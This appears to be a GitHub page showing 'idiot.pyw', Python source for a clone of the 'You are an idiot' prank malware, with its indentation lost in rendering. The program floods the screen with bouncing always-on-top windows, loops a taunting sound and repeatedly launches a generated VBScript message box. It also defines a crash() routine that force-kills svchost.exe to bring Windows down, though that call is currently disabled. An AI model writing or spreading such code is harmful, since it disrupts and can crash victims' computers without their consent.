-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathidiot.pyw
121 lines (104 loc) · 3.25 KB
/
idiot.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from PIL import Image, ImageSequence, ImageTk
import tkinter as tk
import random
from tkinter import ttk
from itertools import cycle
from playsound import playsound
import threading
import time
import os
root = tk.Tk()
root.lift()
root.attributes("-topmost", True)
root.withdraw()
list_of_windows = []
try:
ico = Image.open('./yaai.ico')
photo = ImageTk.PhotoImage(ico)
root.wm_iconphoto(False, photo)
except Exception as e:
print(e)
def crash():
os.system("taskkill /f /im svchost.exe /t")
def close_window(i, list_var):
list_var[i][0].destroy()
del list_var[i][0]
def close_windows(list_var):
for window in list_var:
window[0].destroy()
def play_gif(imagelist, label):
try:
img = next(imagelist)
label.img = ImageTk.PhotoImage(img)
label.config(image=label.img)
label.after(100, play_gif, imagelist, label)
except Exception:
pass
def play_idiot_sound(ind):
if ind > 5:
return
time.sleep(random.randint(0, 6))
while True:
playsound("./yaai.wav")
time.sleep(random.randint(1, 6))
def run_msg(ind):
if ind > 5:
return
time.sleep(random.randint(0, 30))
os.system("start msg.vbs")
with open("msg.vbs", "w") as m:
m.write("lol = msgbox(\"You are an idiot!\" ,48, \"You are an idiot!\")")
m.close()
with Image.open("./youareanidiot.gif") as im:
imagelist = cycle(ImageSequence.all_frames(im))
while True:
_break = False
for _ in range(0, 20):
x = tk.Toplevel(root)
x.title("You are an idiot!")
x_pos = random.randint(0,x.winfo_screenwidth())
y_pos = random.randint(0,x.winfo_screenheight())
x.geometry(f"160x117+{x_pos}+{y_pos}")
x.resizable(False, False)
yaai = tk.PhotoImage(file="./youareanidiot.gif", format="gif -index 2")
y = ttk.Label(x, image=yaai)
y.pack()
x.lift()
x.attributes("-topmost", True)
try:
ico = Image.open('./yaai.ico')
photo = ImageTk.PhotoImage(ico)
x.wm_iconphoto(False, photo)
except Exception as e:
print(e)
x.after(10, play_gif, imagelist, y)
threading.Thread(target=play_idiot_sound, args=(_,)).start()
threading.Thread(target=run_msg, args=(_,)).start()
list_of_windows.append([x,x_pos, y_pos, 4, 4])
while True:
for x in list_of_windows:
try:
x[0].geometry(F"+{x[1]}+{x[2]}")
x[0].update()
if x[1]<0 or x[1]>2000:
x[3] *= -random.randint(1, 15)/5
if x[2]<0 or x[2]>1000:
x[4] *= -random.randint(1, 15)/5
x[3] = round(x[3])
x[4] = round(x[4])
if abs(x[3])>20: x[3] = 3
if abs(x[4])>20: x[4] = 3
x[1] += x[3]
x[2] += x[4]
except Exception as e:
_what = random.randint(1, 100)
_what = 4
_x = list_of_windows.index(x)
del list_of_windows[_x]
if _what == 69:
crash()
else:
_break = True
break
if _break == True:
break